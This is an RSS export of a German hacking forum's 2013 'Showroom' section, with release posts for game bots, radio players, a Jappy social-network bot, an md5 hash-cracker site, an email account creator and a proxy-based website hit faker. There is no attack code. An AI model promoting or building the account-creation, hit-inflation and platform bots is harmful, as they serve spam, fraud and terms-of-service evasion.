<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
So hier mal ein kleines Update zu der APK.<br />
<br />
Da ich die Screens über Pc gemacht habe, sehen die so bisschen alt aus, aber bei euren Handy wird es anders aussehen.<br />
<br />
Hier mal die Screens:<br />
<br />
1. Screen : <b>Startseite:</b><br />
<br />
<a href="http://www.u-img.net/view/8490Zs.jpg" target="_blank"><img src="http://u-img.net/img/8490Zs_thumb.jpg" border="0" alt="" /></a><br />
<br />
2. Screen: <b>Die Games-App Seite:</b><br />
<br />
<a href="http://www.u-img.net/view/2561Ct.jpg" target="_blank"><img src="http://u-img.net/img/2561Ct_thumb.jpg" border="0" alt="" /></a><br />
<br />
3. Screen: <b>die Vorschlags-Seite (Deaktiv, da ich erstmal mich um apps kümmere):</b><br />
<br />
<a href="http://www.u-img.net/view/6623Wc.jpg" target="_blank"><img src="http://u-img.net/img/6623Wc_thumb.jpg" border="0" alt="" /></a><br />
<br />
4. Screen: <b>Über uns:</b><br />
<br />
<a href="http://www.u-img.net/view/2665Js.jpg" target="_blank"><img src="http://u-img.net/img/2665Js_thumb.jpg" border="0" alt="" /></a><br />
<br />
5. Screen: <b>Die Allgemeinen Apps:</b><br />
<br />
<a href="http://www.u-img.net/view/6704Ek.jpg" target="_blank"><img src="http://u-img.net/img/6704Ek_thumb.jpg" border="0" alt="" /></a><br />
<br />
<br />
Ein Release-Datum ist derzeit nicht bekannt, es werden von uns auch Tester ausgesucht, die die App dann testen.
</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/apkbase-23291</guid>
		</item>
		<item>
			<title>Release RisingCities v0.2 Collect and Work Bot</title>
			<link>showroom-102/risingcities-v0-2-collect-and-work-bot-23235?goto=newpost</link>
			<pubDate>Wed, 08 May 2013 00:34:07 GMT</pubDate>
			<description>Dann möchte ich euch mal meinen ersten Autoit-Bot vorstellen... 
 
*Funktionen:* 
 
- Sammelt Miete ein (Sowohl normal, als auch Ausbaumiete) 
-...</description>
			<content:encoded><![CDATA[<div>Dann möchte ich euch mal meinen ersten Autoit-Bot vorstellen...<br />
<br />
<b>Funktionen:</b><br />
<br />
- Sammelt Miete ein (Sowohl normal, als auch Ausbaumiete)<br />
- Sammelt, Startet Produktionen <br />
<br />
<b>Changelog:</b><br />
<br />
v0.1: Sammelt Miete ein (nur normal)<br />
v0.2: Sammelt auch Ausbaumiete ein<br />
<br />
<b>VT:</b><br />
<br />
<a href="https://www.virustotal.com/sk/file/2235735e68b6090c93e50bcdf89cd21dfd46beeef01ecc0cabd8d30a349e84f2/analysis/1367969592/" target="_blank" rel="nofollow">32-Bit-Version</a><br />
<br />
<a href="https://www.virustotal.com/sk/file/a9f6bf73cd443ec2255ef5664d5be8e91f754348d101fab4646b769f22e937b6/analysis/1367969681/" target="_blank" rel="nofollow">64-Bit-Version</a><br />
<br />
<b>VT-Erklärung:</b> Fragt mich nicht was mit VT los ist, ist aber nen primitiver Clickbot. Gerne kann er auch getrusted werden...<br />
<br />
<b>Download:</b><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3725&amp;d=1367973076"  title="Name:  RisingCities v0.2 Collect and Work Bot.zip
Hits: 90
Größe:  884,7 KB">RisingCities v0.2 Collect and Work Bot.zip</a><br />

</div>
</div>
</div><br />
<br />
<b>v0.3 Verbesserungen:</b><br />
<br />
- Levelaufstieg ausblenden<br />
- Büsche entfernen starten und beenden<br />
- Weiterbauaktionen starten<br />
<br />
<br />
Da dies mein erster Bot auf Autoit ist, seit mit der Kritik nicht zu hart.</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/zip.gif" alt="Dateityp: zip" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=3725&amp;d=1367973076">RisingCities v0.2 Collect and Work Bot.zip</a> 
(884,7 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Boone</dc:creator>
			<guid isPermaLink="true">showroom-102/risingcities-v0-2-collect-and-work-bot-23235</guid>
		</item>
		<item>
			<title>Release Arcor.de Email Creator | Free | HWID</title>
			<link>showroom-102/arcor-de-email-creator-free-hwid-22935?goto=newpost</link>
			<pubDate>Tue, 30 Apr 2013 15:01:15 GMT</pubDate>
			<description>Hey U-hacks.net 
 
Hier könnt ihr den Arcor.de Email Creator von uns Downloaden. 
 
Jedoch gibt es einen HWID System , also müsst ihr eure...</description>
			<content:encoded><![CDATA[<div>Hey U-hacks.net<br />
<br />
Hier könnt ihr den Arcor.de Email Creator von uns Downloaden.<br />
<br />
Jedoch gibt es einen HWID System , also müsst ihr eure hardware-id mir per pn senden<br />
damit ich euch für das Programm freischalten kann.<br />
<br />
<b>Virustotal :</b> <a href="https://www.virustotal.com/de/file/75b5e93427f6b96815807738737dd33eb557b579a05a840bab3de27b3f19cbc2/analysis/1366052433/" target="_blank" rel="nofollow">https://www.virustotal.com/de/file/7...is/1366052433/</a><br />
<br />
Download : <a href="http://uploaded.net/file/lj2n4ik5" target="_blank" rel="nofollow">Arcor.de Account Creator.rar (116,17 KB) - uploaded.net</a><br />
<br />
Video :<br />
<br />
<object width="640" height="360"><param name="movie" value="//www.youtube.com/v/http://www.youtube.com/watch?v=zIIdXWty6vs"></param><embed src="//www.youtube.com/v/http://www.youtube.com/watch?v=zIIdXWty6vs" type="application/x-shockwave-flash" width="640" height="360"></embed></object></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Choch2</dc:creator>
			<guid isPermaLink="true">showroom-102/arcor-de-email-creator-free-hwid-22935</guid>
		</item>
		<item>
			<title>Release OnRa-Player v.1.0.0.0</title>
			<link>showroom-102/onra-player-v-1-0-0-0-22706?goto=newpost</link>
			<pubDate>Wed, 24 Apr 2013 14:57:08 GMT</pubDate>
			<description>Hallo liebe UH-Mitglieder, 
 
nun ist es so weit, der OnRa-Player, auch Online-Radio-Player genannt, ist nun fertig zum Release. 
 
Da ich längere...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;">Hallo liebe UH-Mitglieder,<br />
<br />
nun ist es so weit, der OnRa-Player, auch Online-Radio-Player genannt, ist nun fertig zum Release.<br />
<br />
Da ich längere Zeit nix mehr an den Player gemacht habe, habe ich auch vieles wieder Vergessen, dies ist aber kein Problem, ich arbeite dran alles wieder umzuarbeiten, so das der Player für alle Interessierten auch gut läuft und auch gut aussieht.<br />
<br />
Jetzt kommen wir zum Player, Ich habe ihn OnRa-Player genannt, da das On, Online heißen soll und Ra natürlich Radio.<br />
<br />
<b><font color="#FF0000">Was braucht ihr für den Player?</font></b><br />
<br />
Framework 4.0 o. höher!<br />
<br />
<b><font color="#FF0000">Wie sieht der Player nun aus?</font></b><br />
<br />
Ich zeige euch abschnitte des Players, nur des Players, da ich nicht massig Screens posten will:<br />
<a href="http://www.u-img.net/view/7183Ko.jpg" target="_blank"><img src="http://u-img.net/img/7183Ko_thumb.jpg" border="0" alt="" /></a><br />
<br />
<font color="#FF0000"><b>Was ist neu?</b></font><br />
<br />
Der Player hat folgendes:<br />
<ul><li style="">Eine Liste an Streams</li><li style="">Ihr habt die möglichkeit eure eigenen Streams zu hören!</li><li style="">Der Player hat eine Hide funktion eingebaut bekomm!</li><li style="">Der Player hat mehrere Styles (Bullion, HFx und Alpha)!</li><li style="">Leider ist die Update Funktion deaktiviert worden.</li><li style="">Mehr seht ihr selbst ;)</li></ul><br />
<br />
<b><font color="#FF0000">Ihr wollt ihn euch Downloaden?</font></b><br />
<br />
<a href="http://www.file-upload.net/download-7510676/OnRa-Player.rar.html" target="_blank" rel="nofollow">OnRa-Player.rar</a><br />
<br />
Hier im Hide könnt ihr euch den Downloaden.<br />
<br />
Fals ihr einen Virusscan braucht, mache den 22 Uhr.<br />
<br />
<br />
Ihr könnt ruhig Verbesserungsvorschläge per PN senden, nur per PN, da ich das besser im Blick habe.<br />
<br />
Wenn er euch gefällt, schreibt eure Meinungen ;)</div><br />
<b><font color="#00FF00">Änderungen in den  nächsten Updates:</font></b><br />
- Formen + Funktionen werden angepasst.<br />
- Kategorien werden für die einzelnen Radios erstellt.<br />
- Update-Funktion wird bearbeitet (aber noch nicht online gestellt)<br />
-Design wird überarbeitet<br />
<br />
nächste Änderungen am Programm werden bald wieder vorgenommen, gerade habe ich viele Probleme zu klären.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/onra-player-v-1-0-0-0-22706</guid>
		</item>
		<item>
			<title><![CDATA[Release {OpenSource} JMangoE & JLibMangoE - JappyBot & JappyLibrary]]></title>
			<link>showroom-102/opensource-jmangoe-jlibmangoe-jappybot-jappylibrary-22672?goto=newpost</link>
			<pubDate>Tue, 23 Apr 2013 16:31:30 GMT</pubDate>
			<description><![CDATA[Hallo, 
 
das Projekt JMangoE(früher JMango) & JLibMangoE(früher JLibMango) läuft nun schon einige Jahre. 
 
Was ist JMangoE? Ein JappyBot, der...]]></description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
das Projekt JMangoE(früher JMango) &amp; JLibMangoE(früher JLibMango) läuft nun schon einige Jahre.<br />
<br />
Was ist JMangoE? Ein JappyBot, der automatisiert in der Social Community <a href="http://www.jappy.de/" target="_blank" rel="nofollow">Jappy</a> Aktionen durchführt.<br />
Was ist JLibMango? Die Library, die Klassen enthält, um die ganzen Funktionen schnell nutzen zu können.<br />
<br />
Siehe dazu auch: <a href="http://u-hacks.net/showroom-102/jmangoe-jappybot-21013/" target="_blank" rel="nofollow">JMangoE JappyBot</a><br />
<br />
Infos zum Projektumgebung:<br />
Programmiert in Visual Studio 2012, ausgelegt für .Net Framwork 4.5, Programmiersprache Vb.net.<br />
<br />
Auf dutzende Updates habe ich die Library angepasst, dutzend mal die Funktionen verändert oder neu geschrieben,<br />
wenn sich etwas an der Jappyseite verändert hat.<br />
Dutzende Male hatte ich Stress wegen der Publizierung von JMangoE und doch wurde ich kein einziges Mal gesperrt.<br />
<br />
<br />
<br />
Mir ist derzeit kein Bot &amp; keine Library bekannt, die so viele Funktionen von Jappy enthält wie dieses Projekt.<br />
<br />
Die Gründe für die Veröffentlichung sind einfach:<br />
-.Net ist trotz Obfuscation leicht zu dekompilieren(auch wenn JMango nie obfuskiert war)<br />
-Jeder der Methoden aus dem Projekt braucht, holt sich die sowieso irgendwie(wer achtet heute schona auf Copyright?)<br />
<br />
Ordnergröße entpackt: <b><font color="#800080">12,8 Mb</font></b><br />
.Rar Archiv:                       <b> <font color="#800080">2,84Mb</font></b><br />
<br />
<b><font size="4"><font color="#AFEEEE">Für Rückfragen zu Methoden oder allgemeine Fragen zum Projekt/Jappy stehe ich selbstverständlich zur Verfügung.</font></font></b><br />
<br />
Skype: <b>easymhm</b><br />
<br />
Downloads zu finden auf: <div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">http://www.JMangoE.tk</code><hr />
</div></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>!lkay</dc:creator>
			<guid isPermaLink="true">showroom-102/opensource-jmangoe-jlibmangoe-jappybot-jappylibrary-22672</guid>
		</item>
		<item>
			<title>Vorschau Online-Radio New Generation - Vorschau</title>
			<link>showroom-102/online-radio-new-generation-vorschau-22627?goto=newpost</link>
			<pubDate>Sun, 21 Apr 2013 20:40:12 GMT</pubDate>
			<description>Hallo Leute, 
 
da ich wieder lust habe mit VB zu arbeiten, habe ich mir gedacht, ich bearbeite mein Online-Radio-Player wieder und versuche den mal...</description>
			<content:encoded><![CDATA[<div>Hallo Leute,<br />
<br />
da ich wieder lust habe mit VB zu arbeiten, habe ich mir gedacht, ich bearbeite mein Online-Radio-Player wieder und versuche den mal neu zu stylen.<br />
<br />
In der neuen Version werden einige Dinge anders sein, welche werde ich euch noch sagen.<br />
<br />
Hier möchte ich euch erstmal ein Preview vom neuen Theme zeigen, ich hoffe euch gefällt dieses Theme, dies ist eins der Themen aus folgendem <a href="http://u-hacks.net/net-94/massiver-pack-voller-vbulletin-net-themes-22328/" target="_blank" rel="nofollow">Thread</a>( welcher genau weiß ich nicht mehr).<br />
<br />
Screen:<br />
<br />
<a href="http://www.u-img.net/view/3761Wj.jpg" target="_blank"><img src="http://u-img.net/img/3761Wj_thumb.jpg" border="0" alt="" /></a><br />
<br />
Gefällt euch das Theme?<br />
<br />
Fals nicht, werde ich es ändern oder anders versuchen.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/online-radio-new-generation-vorschau-22627</guid>
		</item>
		<item>
			<title>Release restore 1.0</title>
			<link>showroom-102/restore-1-0-22450?goto=newpost</link>
			<pubDate>Tue, 16 Apr 2013 11:11:15 GMT</pubDate>
			<description>Hallo Community, 
 
ich habe mich mal an eine DLL gesetzt um es den Neulingen einfacher zu machen 
die sich noch nicht mit WMI beschäftigt haben bzw....</description>
			<content:encoded><![CDATA[<div>Hallo Community,<br />
<br />
ich habe mich mal an eine DLL gesetzt um es den Neulingen einfacher zu machen<br />
die sich noch nicht mit WMI beschäftigt haben bzw. es nicht vor haben.<br />
<br />
Die DLL erstellt ein Systemwiederherstellungspunkt (ohne Parameter es muss nichts übergeben werden).<br />
<b>[nicht statisch]</b><br />
<br />
Kann folgendes in Strings zurückliefern :<br />
<br />
<ul><li style="">Adminstrative befugnisse fehlen!<br />
Bitte als Admin starten!</li><li style="">Erfolgreich erstellt!</li><li style="">Systemwiederherstellungspunkt konnte nicht erstellt werden.</li></ul><br />
<br />
Download    : <a href="http://www.mediafire.com/download.php?a5zmfaeiq31al60" target="_blank" rel="nofollow">restore.dll</a><br />
Virustotal     : <a href="https://www.virustotal.com/de/file/5b102c639c1ea41095695ff37b868103ab496a17d35839987dd8cfd562c26348/analysis/1366110763/" target="_blank" rel="nofollow">https://www.virustotal.com/de/file/5...is/1366110763/</a><br />
<br />
Ich wünsche euch viel Spaß damit :)<br />
MfG Kuchenmaster</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/restore-1-0-22450</guid>
		</item>
		<item>
			<title><![CDATA[[RELEASE] U-Hacks Radioplayer]]></title>
			<link>showroom-102/release-u-hacks-radioplayer-22010?goto=newpost</link>
			<pubDate>Sun, 31 Mar 2013 23:48:30 GMT</pubDate>
			<description>weg.</description>
			<content:encoded><![CDATA[<div>weg.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Pwned</dc:creator>
			<guid isPermaLink="true">showroom-102/release-u-hacks-radioplayer-22010</guid>
		</item>
		<item>
			<title>Release Ausbildungsbericht.NET V1.0.0.0</title>
			<link>showroom-102/ausbildungsbericht-net-v1-0-0-0-22005?goto=newpost</link>
			<pubDate>Sun, 31 Mar 2013 22:27:31 GMT</pubDate>
			<description>*Name:* *Digitaler Ausbildungsbericht.Net* 
*Autor:* *Tobias F. (Ich)* 
*Sprache:* *C#* 
*Releasedatum der ersten Version:* *18.07.2011* 
*Aktuelle...</description>
			<content:encoded><![CDATA[<div><b>Name:</b> <b>Digitaler Ausbildungsbericht.Net</b><br />
<b>Autor:</b> <b>Tobias F. (Ich)</b><br />
<b>Sprache:</b> <b>C#</b><br />
<b>Releasedatum der ersten Version:</b> <b>18.07.2011</b><br />
<b>Aktuelle Version:</b> <b>1.0.0.0</b><br />
<br />
<b>Benutzer :</b> über 2000<br />
<br />
Website: <a href="http://ausbildungsbericht.net/" target="_blank" rel="nofollow">Digitaler Ausbildungsbericht</a><br />
Download: <a href="http://ausbildungsbericht.net/downloads/" target="_blank" rel="nofollow">Klick mich hart!</a><br />
<br />
<u><font color="RoyalBlue"><b>Was kann es?</b></font></u> <br />
<br />
Mit diesem Programm könnt Ihr Ausbildungsberichte eintippen und diese dann bequem als PDF speichern. Zusätzlich habt ihr immer die Übersicht,  welche Berichte Ihr schon geschrieben habt, welche Ihr beim Ausbilder  abgegeben habt, und welche ihr noch garnicht angefertigt habt.<br />
Dazu kommt noch, dass Ihr hier nur noch den Bericht und ggf. eure  Arbeitsstunden ausfüllen müsst, keine Tippfehler mehr beim Eintragen des  aktuellen Datums, nachschlagen welche Kalenderwoche oder  Ausbildungswoche gerade ist, alle diese Daten werden automatisch  eingetragen.<br />
<br />
Folgende Features hat das Programm bis jetzt:<br />
<ul><li style="">Automatische Rechtschreibprüfung</li><li style="">Vollkommen automatisiertes Updatesystem (automatisches Update  abstellbar), nutzen Sie hierdurch immer die aktuellste Programmversion  und verpassen Sie kein Update mehr</li><li style="">Programminterne Bewertung möglich</li><li style="">Berichte werden direkt druckbereit als PDF gespeichert</li><li style="">Übersicht über Berichte ~&gt; Bericht geschrieben/Bericht beim Ausbilder abgegeben/Bericht noch nicht geschrieben</li><li style="">Alle relevaten Daten müssen nur einmal eingetragen werden</li><li style="">Alle Daten die mit dem Datum zu tun haben, werden automatisch ausgefüllt</li><li style="">Textbausteine können erstellt werden, dies ermöglicht eine noch bequemere und schnellere Berichtserstellung</li><li style="">Sehr schnelle, auf XML basierende Datenbank</li><li style="">Speicherort für PDF-Dokumente selbst wählbar (Standart: Eigene Dokumente/Ausbildungsberichte)</li><li style="">Name unter welchem die PDF-Dateien gesspeichert wählen frei wählbar mit Parametern</li><li style="">Anleitung im PDF-Format direkt im Programm integriert</li><li style="">Übersichtliche und intuitive Programmoberfläche, welche auch PC-Neulingen eine einfache Benutzung des Programms erlaubt</li><li style="">Keine komplizierten Einstellungen nötig, eigene Daten eintragen, 2-3 Grundeinstellungen festlegen, und losschreiben</li></ul>Weitere sind geplant...<br />
<br />
<b><u><font color="RoyalBlue">Wie sieht es aus?</font>  </u></b><br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=4040&amp;d=1370560675" id="attachment4040" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=4040&amp;d=1370560675&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	ScreenMainProgramm.png&nbsp;
Hits:	573&nbsp;
Größe:	84,5 KB&nbsp;
ID:	4040" class="thumbnail" style="float:CONFIG" /></a><br />
<u><b><font color="RoyalBlue">Wie funktioniert es?</font></b></u><br />
Eine detaillierte Anleitung im PDF-Format kann man auf der Homepage herunterladen. <br />
<br />
Also dann, ich freue mich auf Euer Feedback zum Programm.</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=4040&amp;d=1370560675" 
rel="Lightbox_181311" id="attachment4040"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=4040&amp;stc=1&amp;thumb=1&amp;d=1370560675" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	ScreenMainProgramm.png&nbsp;
Hits:	-&nbsp;
Größe:	84,5 KB&nbsp;
ID:	4040"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/ausbildungsbericht-net-v1-0-0-0-22005</guid>
		</item>
		<item>
			<title><![CDATA[[BETA] md5 Hashcracker]]></title>
			<link>showroom-102/beta-md5-hashcracker-21376?goto=newpost</link>
			<pubDate>Tue, 12 Mar 2013 09:31:43 GMT</pubDate>
			<description>Hallo ich wollte euch heute mal meine neue Webseite md5 cracker (http://www.is-fail.com) vorstellen.  
 
Bei der Seite handelt es sich um einen md5...</description>
			<content:encoded><![CDATA[<div>Hallo ich wollte euch heute mal meine neue Webseite <a href="http://www.is-fail.com" target="_blank" rel="nofollow">md5 cracker</a> vorstellen. <br />
<br />
Bei der Seite handelt es sich um einen md5 Hashcracker. <br />
<br />
Es wird im Moment noch auf &quot;nur&quot; 12 verschiedene Hash Datenbanken zugegriffen. Es werden aber noch mehr werden.<br />
<br />
Das ganze wurde mit PHP, MySQL und Cronjobs umgesetzt.<br />
<br />
Feedback und Verbesserungsvorschläge sind gerne erwünscht :)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>xtp57</dc:creator>
			<guid isPermaLink="true">showroom-102/beta-md5-hashcracker-21376</guid>
		</item>
		<item>
			<title><![CDATA[Release HitMaker inkl. GUI [Hauptthread]]]></title>
			<link>showroom-102/hitmaker-inkl-gui-hauptthread-21231?goto=newpost</link>
			<pubDate>Thu, 07 Mar 2013 19:57:51 GMT</pubDate>
			<description>Dieser Thread wurde von mir passend zu der neuen Version komplett überarbeitet. 
 
*Hitmaker Version 1.4.9* 
 
*Features* 
 
* Request-Timeout...</description>
			<content:encoded><![CDATA[<div>Dieser Thread wurde von mir passend zu der neuen Version komplett überarbeitet.<br />
<br />
<font size="3"><b>Hitmaker Version 1.4.9</b></font><br />
<br />
<font size="3"><b>Features</b></font><br />
<ul><li style="">Request-Timeout festlegen</li><li style="">Timeout zwischen Requests festlegen</li><li style="">Proxies aus dem Internet laden</li><li style="">Proxies aus einer Textdatei laden</li><li style="">Anzahl der Proxies, die aus dem Internet geladen werden, festlegen</li><li style="">Zufälligen Useragent benutzen</li><li style="">Speziellen Useragent benutzen</li><li style="">Mögliche Useragents: Chrome,Firefox,Safari,Internet Explorer,Opera (weitere folgen) (jeweils in der neusten Version)</li><li style="">Ziel festlegen</li><li style="">Statistik (Versuche,Erfolge,Fehler)</li><li style="">Einstellungen speichern</li><li style="">Einstellungen laden</li><li style="">Log-Box</li><li style="">Statusbar, die den aktuellen Fortschritt anzeigt</li><li style="">Statuslabel, das den aktuellen Status anzeigt</li><li style="">MotD, damit ihr nichts verpasst</li></ul><br />
<br />
<font size="3"><b>Für die nächste Version geplante Features</b></font><br />
<ul><li style="">Weitere Useragents hinzufügen</li></ul><br />
<br />
<font size="3"><b>Info</b></font><br />
<br />
Wählt man die Option 'Proxies aus dem Internet laden', dann greift das Programm auf eine Seite zu, übergibt POST-Parameter und filtert die IP-Adressen, das Problem ist, dass dabei ein Hidden-Input-Field übergeben werden muss, das sich ändert, das war auch der Grund, wieso die alte Version keine Proxies mehr gefunden hat. Vor jedem Crawlen der Proxies sucht das Programm zuerst nach dem Hidden-Input-Field, damit sollte es also keine Probleme mehr geben.<br />
<br />
Wählt man als speziellen Useragent z.B. 'Chrome 24.0.1312.60', dann wird nicht 'Chrome 24.0.1312.60' als Useragent, sondern 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17' verwendet, ich erwähne das nur, um möglichen Nachfragen vorzubeugen.<br />
<br />
Hinter jedem Feld, in das man einen Wert eintragen oder das man anklicken kann, gibt es ein ?-Symbol, bei einem Klick darauf erscheint eine kurze Hilfe zu diesem Feld.<br />
<br />
Aus diesem Grund spare ich mir hier jetzt eine genau Erklärung des Programms, der größte Teil sollte ohne Erklärung verständlich sein.<br />
<br />
Fehler, Probleme und Verbesserungsvorschläge bitte wie gewohnt hier im Thread.<br />
<br />
<font size="3"><b>Screenshots</b></font><br />
<br />
<a href="http://www.u-img.net/view/6271Pc.png" target="_blank"><img src="http://u-img.net/img/6271Pc_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/4317Yz.png" target="_blank"><img src="http://u-img.net/img/4317Yz_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/6300Ly.png" target="_blank"><img src="http://u-img.net/img/6300Ly_thumb.png" border="0" alt="" /></a><br />
<br />
<font size="3"><b>Download</b></font><br />
<br />
<a href="http://ul.to/um9009nq" target="_blank" rel="nofollow">Aktuelle Version herunterladen</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/hitmaker-inkl-gui-hauptthread-21231</guid>
		</item>
		<item>
			<title>Release PHP Bot The Godfather Five Families</title>
			<link>showroom-102/php-bot-the-godfather-five-families-20397?goto=newpost</link>
			<pubDate>Tue, 05 Feb 2013 12:08:36 GMT</pubDate>
			<description>Hier mal für jeden der Interesse hat ein relativ aktuelles Projekt von mir.... 
 
Es ist ein The Godfather Five Families Bot in PHP, natürlich nicht...</description>
			<content:encoded><![CDATA[<div>Hier mal für jeden der Interesse hat ein relativ aktuelles Projekt von mir....<br />
<br />
Es ist ein The Godfather Five Families Bot in PHP, natürlich nicht fertig aber die Grundfunktionen hat er drin. Wer das Game zockt und dran rumfummeln will, dem sei es freigestellt. Man muss quasi nur die einzelnen JSON Strings noch abfragen und passend darauf antworten, geht alles relativ easy mit der Chrome Console.... Vorhanden ist natürlich die Connection, Authentifizierung/Login, JSON decode/encode und als normales Sample schon mal Buildings collecten, Truppen senden usw.<br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=3114&amp;d=1360066038"  title="Name:  tgob.rar
Hits: 304
Größe:  8,9 KB">tgob.rar</a><br />
<br />
// Kann man sicher auch für andere Flash Games als Grundlage nehmen.</div>


	<div style="padding:10px">

	

	

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Dateien</legend>
			<ul>
			<li>
	<img class="inlineimg" src="https://u-labs.de/forum/images/attach/rar.gif" alt="Dateityp: rar" />
	<a href="https://u-labs.de/forum/attachment.php?attachmentid=3114&amp;d=1360066038">tgob.rar</a> 
(8,9 KB)
</li>
			</ul>
		</fieldset>
	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>MiBo</dc:creator>
			<guid isPermaLink="true">showroom-102/php-bot-the-godfather-five-families-20397</guid>
		</item>
		<item>
			<title>Release YoutubeChannelWatcher</title>
			<link>showroom-102/youtubechannelwatcher-20138?goto=newpost</link>
			<pubDate>Sat, 26 Jan 2013 11:06:10 GMT</pubDate>
			<description>Heute möchte ich euch ein neues Projekt von mir vorstellen, dabei handelt es sich um ein einfaches Skript, mit dem man seinen Kanal bzw. seine Videos...</description>
			<content:encoded><![CDATA[<div>Heute möchte ich euch ein neues Projekt von mir vorstellen, dabei handelt es sich um ein einfaches Skript, mit dem man seinen Kanal bzw. seine Videos auf Youtube beobachten kann.<br />
<br />
<font color="#FFFFFF"><b>Vorab</b></font><br />
<br />
Dieses Projekt war eigentlich nur für die eigene Nutzung gedacht, deshalb ist die Datenbankstruktur nicht optimal und der Code ist nicht perfekt oder sehr übersichtlich geschrieben, sollten Fragen auftreten bin ich gerne bereit diese so schnell und gut es geht zu beantworten. Es kann durchaus sein, dass ich noch einige Updates programmieren werde, ich werde aber deutlich darauf hinweisen.<br />
<br />
<font color="#FFFFFF"><b>Die Installation</b></font><br />
<br />
<a href="http://www.u-img.net/view/7534Jt.png" target="_blank"><img src="http://u-img.net/img/7534Jt_thumb.png" border="0" alt="" /></a><br />
<br />
Cronjob Beispiel (es wird cURL benötigt):<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">0 */1 * * * /usr/bin/curl http://DOMAIN.de/cron.php?pw=HSDUIH987shda&amp;id=1<br />
0 */1 * * * /usr/bin/curl http://DOMAIN.de/cron.php?pw=HSDUIH987shda&amp;id=2</code><hr />
</div>So wird jede Stunde ein komplettes Update ausgeführt.<br />
<br />
<b><font color="#FFFFFF">Screenshots</font></b><br />
<br />
<a href="http://www.u-img.net/view/4591Dx.png" target="_blank"><img src="http://u-img.net/img/4591Dx_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/4605So.png" target="_blank"><img src="http://u-img.net/img/4605So_thumb.png" border="0" alt="" /></a><br />
<br />
<a href="http://www.u-img.net/view/5616Jw.png" target="_blank"><img src="http://u-img.net/img/5616Jw_thumb.png" border="0" alt="" /></a><br />
<br />
<b><font color="#FFFFFF">Download</font></b><br />
<br />
<a href="http://nicosmtz.de/download.php" target="_blank" rel="nofollow">YoutubeChannelWatcher Download</a><br />
<br />
<br />
<br />
Für Verbesserungsvorschläge und Kritik bin ich wie immer offen, aber bitte nicht vergessen, dass es Quick &amp; Dirty programmiert ist, weil ich eigentlich nie vorhatte dieses Projekt zu veröffentlichen.</div>

]]></content:encoded>
